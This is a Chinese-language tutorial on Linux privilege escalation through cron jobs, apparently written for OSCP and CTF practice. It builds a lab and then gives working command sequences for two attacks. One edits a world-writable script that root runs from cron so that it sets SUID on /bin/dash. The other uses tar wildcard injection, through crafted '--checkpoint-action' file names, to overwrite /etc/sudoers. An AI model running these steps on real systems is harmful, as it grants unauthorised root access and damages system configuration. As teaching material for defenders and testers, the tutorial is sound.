使用Cronjobs进行Linux权限提升

 

前言

在解决了几个OSCP挑战题之后,我们决定编写一篇关于用于Linux权限提升的各种方法的文章,这对我们的读者在他们的渗透测试项目中可能会有所帮助。在本文中,我们将学习“利用CronJobs进行权限提升”以获得远程主机的根访问权限,并且还将研究一种糟糕的cron job实现是如何导致权限提升的。如果你已经解决了CTF的Post Exploit挑战,那么通过阅读本文,你将学到导致权限提升的一些漏洞。

有关详细信息可以阅读我们之前的文章,在其中我们将本文的技巧用于权限提升。

链接1:黑盒挑战:欧罗巴漫游

链接2:Hacking Milnet VM(CTF挑战题)

 

CronJobs是什么?

CronJobs用于在服务器上通过特定日期和时间执行命令来调度任务,常用于系统管理员任务,如备份或清理/tmp/目录等。Cron这个词来自crontab,它在/etc目录下。

例如:在crontab中,我们可以通过一下命令,每隔1小时自动打印Apache错误日志。

1 0 * * * printf "" > /var/log/apache/error_log

 

Crontab文件覆盖

设置

目标:在crontab的帮助下设置一个新的cronjob来运行python脚本,该脚本将删除指定目录中的所有数据。

假设“清理”的是每隔两分钟自动清除数据的目录。因此,我们在/home/cleanup保存了一些数据。

mkdir cleanup
cd cleanup
echo "hello freinds" > 1.txt
echo "ALL files will be deleted in 2 mints" > 2.txt
echo "" > 1.php
echo "" > 2.php
ls

可以看到,有些文件存储在清理目录中。

现在,在任何其他目录中编写python脚本,删除 /home/cleanup中的数据,并授予所有权限。

cd /tmp
nano cleanup.py
#!/usr/bin/env python
import os
import sys
try:
   os.system('rm -r /home/cleanup/* ')
except:
    sys.exit()

chmod 777 cleanup.py

最后,在crontab的帮助下,每2分钟安排一个任务来运行Clearup.py。

nano /etc/crontab
*/2 *   * * *   root    /tmp /cleanup.py

现在让我们验证一下:

cd /home/cleanup
ls
date
ls

很酷!所有文件在两分钟后都被删除了。

Post Exploitation

启动攻击机器,首先登陆到目标系统,然后进入提权阶段。假设我成功地通过ssh登录到受害者的机器,并访问非根用户终端。执行如下所示的命令。

cat /etc/crontab
ls  -al /tmp/cleanup.py
cat /tmp/cleanup.py

从上面的步骤中,我们注意到crontab每两分钟运行python脚本一次,现在让我们利用它。

获得根访问的方法很多,在这个方法中,我们启用了 SUID bits/bin/dash。这非常简单,首先,通过一些编辑器打开文件,例如nanocleanup.py,并从下面的一行替换为“rm-r/tmp/*”,如下所示:

os.system('chmod u+s /bin/dash')

两分钟后,它将为/bin/dash设置SUID权限,运行时,它将授予根访问权限。

/bin/dash
id
whoami

很好,我们目的达到了…

 

Crontab Tar通配符注入

设置

目的:利用crontab对HTML目录下的tar文件程序进行备份,目录应该具有可执行权限,你将对其进行备份。

现在,在crontab的帮助下安排一项任务,运行tar备份程序,在每1分钟内备份/var/backups/html的文件。

nano /etc/crontab
*/1 *   * * *   root tar -zcf /var/backups/html.tgz /var/www/html/*

通过执行以下命令来验证是否有效。

cd /var/backup
ls
date

如下图可以看到到1分钟后html.tgz文件已经生成。

Post Exploitation

启动攻击机器,首先登陆到目标系统,然后进入提权阶段。假设我成功地通过ssh登录到受害者的机器,并访问非根用户终端。然后打开crontab,查看是否安排了任何任务。

cat /etc/crontab

在这里,我们注意到目标每1分钟就安排一个tar备份程序,我们知道cronjob以root身份运行。让我们试着利用。

执行以下命令将sudo权限授予记录的用户,随后的利用漏洞攻击称为通配符注入(wildcard injection)。

echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

1分钟后它将授予用户sudo权限,通过下图命令验证:

sudo -l
sudo bash
whoami

很棒,我们已经成功获得根访问权限。

 

审核人:yiwang   编辑:边边

(完)